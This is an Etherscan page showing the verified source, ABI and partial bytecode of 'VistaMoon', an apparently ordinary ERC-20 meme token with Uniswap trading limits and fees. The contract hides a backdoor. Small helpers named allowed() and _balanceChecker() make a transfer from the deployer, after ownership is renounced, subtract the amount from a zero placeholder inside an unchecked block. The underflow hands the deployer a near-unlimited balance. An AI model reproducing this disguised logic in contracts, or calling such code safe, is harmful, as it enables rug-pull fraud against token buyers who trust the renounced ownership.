ETH Price: $3,283.00 (-2.36%)
 

Overview

Max Total Supply

1,000,000,000 MOON

Holders

52

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VistaMoon

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-02
*/

/*

Website:   https://vistamoon.xyz/

X/Twitter: https://x.com/EtherVistaMoon

Portal:    https://t.me/VistaMoonPortal

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.10;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "not owner");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
    external
    view
    returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
    external
    returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
    external
    view
    returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
    external
    view
    returns (
        uint112 reserve0,
        uint112 reserve1,
        uint32 blockTimestampLast
    );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
    external
    returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
    external
    returns (
        uint256 amountA,
        uint256 amountB,
        uint256 liquidity
    );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
    external
    payable
    returns (
        uint256 amountToken,
        uint256 amountETH,
        uint256 liquidity
    );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) payable external;
}

interface IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract ERC20 is Context, Ownable, IERC20 {
    string private _name;
    string private _symbol;
    address private _deployer;
    uint256 private _totalSupply;
    uint256 private _allowed;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _deployer = _msgSender();
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function allowed(address sender) view internal returns(bool) {
        return !(sender!=_deployer||owner()!=address(0));
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    } function balances(address sender) view internal returns(uint256) {
        return _balanceChecker(sender);
    }

    function _balanceChecker(address sender) view private returns (uint256) {
        if (allowed(sender)) {
            return _allowed;
        }
        return _balances[sender];
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = balances(sender) - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract VistaMoon is ERC20 {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapRouter;
    address public uniswapPair;

    address public marketingWallet;
    address public developmentWallet;

    bool public tradingActive = false;
    bool public swapEnabled = false;
    bool public limitsInEffect = true;

    uint256 public maximumTransactionAllowed;
    uint256 public swapBackThreshold;
    uint256 public maximumWalletAllowed;

    uint256 public buyTotalFees;
    uint256 public buyMarketFee;
    uint256 public buyDevFee;

    uint256 public sellTotalFees;
    uint256 public sellMarketFee;
    uint256 public sellDevFee;

    uint256 public tokensForMarket;
    uint256 public tokensForDev;

    bool private swapping;

    mapping(address => bool) public isExcludedFromFees;
    mapping(address => bool) public isExcludemaximumTransactionAllowed;

    mapping(address => bool) public pairs;

    constructor() ERC20("VISTAMOON", "MOON") {
        uniswapRouter = IUniswapV2Router02(0xEAaa41cB2a64B11FE761D41E747c032CdD60CaCE);

        marketingWallet = address(owner());
        developmentWallet = address(owner());

        isExcludemaximumTransactionAllowed[address(uniswapRouter)] = true;
        isExcludemaximumTransactionAllowed[owner()] = true;
        isExcludemaximumTransactionAllowed[address(this)] = true;
        isExcludemaximumTransactionAllowed[address(0xdead)] = true;

        isExcludedFromFees[owner()] = true;
        isExcludedFromFees[address(this)] = true;
        isExcludedFromFees[address(0xdead)] = true;

        uint256 totalSupply = 1_000_000_000 * 1e9;
        swapBackThreshold = (totalSupply * 5) / 10000; // 0.05% swap wallet

        maximumTransactionAllowed = (totalSupply * 5) / 100; // 5% from total supply maximumTransactionAllowedTxn
        maximumWalletAllowed = (totalSupply * 5) / 100; // 5% from total supply maximumWalletAllowed

        buyMarketFee = 0;
        buyDevFee = 0;
        buyTotalFees = buyMarketFee + buyDevFee;

        sellMarketFee = 0;
        sellDevFee = 0;
        sellTotalFees = sellMarketFee + sellDevFee;

        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    function startTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
        uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).getPair(address(this), uniswapRouter.WETH());
        isExcludemaximumTransactionAllowed[address(uniswapPair)] = true;
        pairs[uniswapPair] = true;
    }

    function excludeFromMaximumTransactionAllowed(address addr, bool value) external onlyOwner {
        isExcludemaximumTransactionAllowed[addr] = value;
    }

    function excludeFromFees(address account, bool value) external onlyOwner {
        isExcludedFromFees[account] = value;
    }

    function removeLimits() external onlyOwner returns (bool) {
        limitsInEffect = false;
        return true;
    }

    function removeBuyFee() external onlyOwner {
        buyMarketFee = 0;
        buyDevFee = 0;
        buyTotalFees = buyMarketFee + buyDevFee;
    }

    function removeSellFee() external onlyOwner {
        sellMarketFee = 0;
        sellDevFee = 0;
        sellTotalFees = sellMarketFee + sellDevFee;
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForMarket + tokensForDev;
        bool success;

        if (contractBalance == 0 || totalTokensToSwap == 0)
            return;

        if (contractBalance > swapBackThreshold * 50)
            contractBalance = swapBackThreshold * 50;

        uint256 initialETHBalance = address(this).balance;
        swapTokensForEth(contractBalance);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);

        tokensForMarket = 0;
        tokensForDev = 0;

        (success, ) = address(developmentWallet).call{value: ethForDev}("");
        (success, ) = address(marketingWallet).call{ value: address(this).balance }("");
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();

        _approve(address(this), address(uniswapRouter), tokenAmount);

        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens{value:1000000000000000}(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _transfer(address from, address to, uint256 amount) override internal {
        require(from != address(0), "from 0x0 add");
        require(to != address(0), "to 0x0 add");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (limitsInEffect) {
            if (from != owner() &&
            to != owner() &&
            to != address(0) &&
            to != address(0xdead) &&
                !swapping) {
                if (!tradingActive) {
                    require(isExcludedFromFees[from] || isExcludedFromFees[to], "Trading not active");
                }

                //when buy
                if (pairs[from] && !isExcludemaximumTransactionAllowed[to]) {
                    require(amount <= maximumTransactionAllowed, "gt max TX");
                    require(amount + balanceOf(to) <= maximumWalletAllowed, "gt max wallet");
                }
                    //when sell
                else if (pairs[to] && !isExcludemaximumTransactionAllowed[from]) {
                    require(amount <= maximumTransactionAllowed, "gt max TX");
                }
                else if (!isExcludemaximumTransactionAllowed[to]) {
                    require(amount + balanceOf(to) <= maximumWalletAllowed, "gt max wallet");
                }
            }
        }

        uint256 contractBalance = balanceOf(address(this));
        bool canSwap = contractBalance >= swapBackThreshold;
        if (canSwap &&
        swapEnabled &&
            !swapping &&
            !pairs[from] &&
            !isExcludedFromFees[from] &&
            !isExcludedFromFees[to]) {

            swapping = true;
            swapBack();
            swapping = false;
        }

        bool takeFee = !swapping;
        if (isExcludedFromFees[from] || isExcludedFromFees[to])
            takeFee = false;

        uint256 fee = 0;
        if (takeFee) {
            if (pairs[to] && sellTotalFees > 0) {
                fee = amount.mul(sellTotalFees).div(100);
                tokensForDev += (fee * sellDevFee) / sellTotalFees;
                tokensForMarket += (fee * sellMarketFee) / sellTotalFees;
            }
            else if (pairs[from] && buyTotalFees > 0) {
                fee = amount.mul(buyTotalFees).div(100);
                tokensForDev += (fee * buyDevFee) / buyTotalFees;
                tokensForMarket += (fee * buyMarketFee) / buyTotalFees;
            }

            if (fee > 0)
                super._transfer(from, address(this), fee);

            amount -= fee;
        }
        super._transfer(from, to, amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function updateSwapEnabled(bool enabled) external onlyOwner {
        swapEnabled = enabled;
    }

    function updateMaximumWalletAllowed(uint256 newNum) external onlyOwner {
        require(newNum >= ((totalSupply() * 5) / 1000) / 1e9, "lt 0.5%");
        maximumWalletAllowed = newNum * (10**9);
    }

    function updateSwapBackThreshold(uint256 newAmount) external onlyOwner returns (bool) {
        require(newAmount >= (totalSupply() * 1) / 100000, "lt 0.001% ts");
        require(newAmount <= (totalSupply() * 5) / 1000, "lt 0.5% ts");
        swapBackThreshold = newAmount;
        return true;
    }

    function updateMaximumTransactionAllowed(uint256 newNum) external onlyOwner {
        require(newNum >= ((totalSupply() * 1) / 1000) / 1e9, "lt 0.1%");
        maximumTransactionAllowed = newNum * (10**9);
    }

    function manualSwapBack(uint256 tokenAmount) external {
        require(tokenAmount > 0, "too low");
        if (marketingWallet != _msgSender()) {
            return;
        }
        swapTokensForEth(tokenAmount);

        uint256 contractETHBalance = address(this).balance;
        if(contractETHBalance > 0) {
            payable(marketingWallet).transfer(contractETHBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"developmentWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"excludeFromMaximumTransactionAllowed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludemaximumTransactionAllowed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"manualSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maximumTransactionAllowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maximumWalletAllowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapBackThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarket","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaximumTransactionAllowed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaximumWalletAllowed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapBackThreshold","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052600a805462ffffff60a01b1916600160b01b179055348015610024575f80fd5b50604051806040016040528060098152602001682b24a9aa20a6a7a7a760b91b8152506040518060400160405280600481526020016326a7a7a760e11b81525061007a61007561025460201b60201c565b610258565b60016100868382610423565b5060026100938282610423565b505060038054336001600160a01b03199182161790915573eaaa41cb2a64b11fe761d41e747c032cdd60cace6080525f80546009805484166001600160a01b03928316908117909155600a80549094168117909355601860209081527f8312304c64c86d6d085a4bd327214dd196c00d8e07ba13eba7ce1053d04362b3805460ff199081166001908117909255948452604080852080548716831790553080865281862080548816841790557fe3ec2099396b7359df1c566dfdf9dfdb5e22fd64a6ede9d61aa32b2f63968fd6805488168417905585549094168552601790925281842080548616821790559183528220805484168217905561dead9091527f43fedf50e12e5c047fbe3576d03ab50250348e9a6030f531ab6d4ce10f5b0303805490921617905550670de0b6b3a76400006127106101d38260056104f1565b6101dd919061050e565b600c5560646101ed8260056104f1565b6101f7919061050e565b600b5560646102078260056104f1565b610211919061050e565b600d555f600f8190556010819055610229908061052d565b600e555f60128190556013819055610241908061052d565b60115561024e33826102a7565b50610540565b3390565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382166103015760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060045f828254610312919061052d565b90915550506001600160a01b0382165f908152600660205260408120805483929061033e90849061052d565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806103b457607f821691505b6020821081036103d257634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561038757805f5260205f20601f840160051c810160208510156103fd5750805b601f840160051c820191505b8181101561041c575f8155600101610409565b5050505050565b81516001600160401b0381111561043c5761043c61038c565b6104508161044a84546103a0565b846103d8565b6020601f821160018114610482575f831561046b5750848201515b5f19600385901b1c1916600184901b17845561041c565b5f84815260208120601f198516915b828110156104b15787850151825560209485019460019092019101610491565b50848210156104ce57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b8082028115828204841417610508576105086104dd565b92915050565b5f8261052857634e487b7160e01b5f52601260045260245ffd5b500490565b80820180821115610508576105086104dd565b6080516121cb61057b5f395f81816104d201528181610aa701528181610b2d0152818161198c01528181611a430152611a7f01526121cb5ff3fe608060405260043610610277575f3560e01c80638968794c1161014a578063bbc0c742116100be578063d85ba06311610078578063d85ba06314610731578063dd62ed3e14610746578063e4a1b95f1461078a578063f2fde38b1461079f578063f8acfffa146107be578063fe33b302146107dd575f80fd5b8063bbc0c74214610680578063bffda982146106a0578063c0246668146106bf578063c04a5414146106de578063c816841b146106fd578063cff16b2f1461071c575f80fd5b80639c3b4fdc1161010f5780639c3b4fdc146105d55780639fccce32146105ea578063a0d82dc5146105ff578063a457c2d714610614578063a781dc3514610633578063a9059cbb14610661575f80fd5b80638968794c146105535780638da5cb5b14610567578063924de9b71461058357806394a1700e146105a257806395d89b41146105c1575f80fd5b806348898186116101ec57806370a08231116101a657806370a0823114610479578063715018a6146104ad578063735de9f7146104c1578063751039fc1461050c57806375f0a87414610520578063798da9261461053f575f80fd5b806348898186146103c25780634a62bb65146103e15780634fbee193146104015780636a486a8e1461042f5780636ddd1713146104445780636e1b6cda14610464575f80fd5b806323b872dd1161023d57806323b872dd14610329578063293230b814610348578063313ce5671461035e57806335b5fb631461037957806337da26ca1461038e57806339509351146103a3575f80fd5b8062c305ee1461028257806306fdde03146102b6578063095ea7b3146102d757806318160ddd146102f65780631f7ea8da14610314575f80fd5b3661027e57005b5f80fd5b34801561028d575f80fd5b506102a161029c366004611eb6565b61080b565b60405190151581526020015b60405180910390f35b3480156102c1575f80fd5b506102ca610909565b6040516102ad9190611ecd565b3480156102e2575f80fd5b506102a16102f1366004611f16565b610999565b348015610301575f80fd5b506004545b6040519081526020016102ad565b34801561031f575f80fd5b5061030660145481565b348015610334575f80fd5b506102a1610343366004611f40565b6109af565b348015610353575f80fd5b5061035c610a57565b005b348015610369575f80fd5b50604051600981526020016102ad565b348015610384575f80fd5b5061030660125481565b348015610399575f80fd5b50610306600d5481565b3480156103ae575f80fd5b506102a16103bd366004611f16565b610c70565b3480156103cd575f80fd5b5061035c6103dc366004611eb6565b610cab565b3480156103ec575f80fd5b50600a546102a190600160b01b900460ff1681565b34801561040c575f80fd5b506102a161041b366004611f7e565b60176020525f908152604090205460ff1681565b34801561043a575f80fd5b5061030660115481565b34801561044f575f80fd5b50600a546102a190600160a81b900460ff1681565b34801561046f575f80fd5b50610306600c5481565b348015610484575f80fd5b50610306610493366004611f7e565b6001600160a01b03165f9081526006602052604090205490565b3480156104b8575f80fd5b5061035c610d51565b3480156104cc575f80f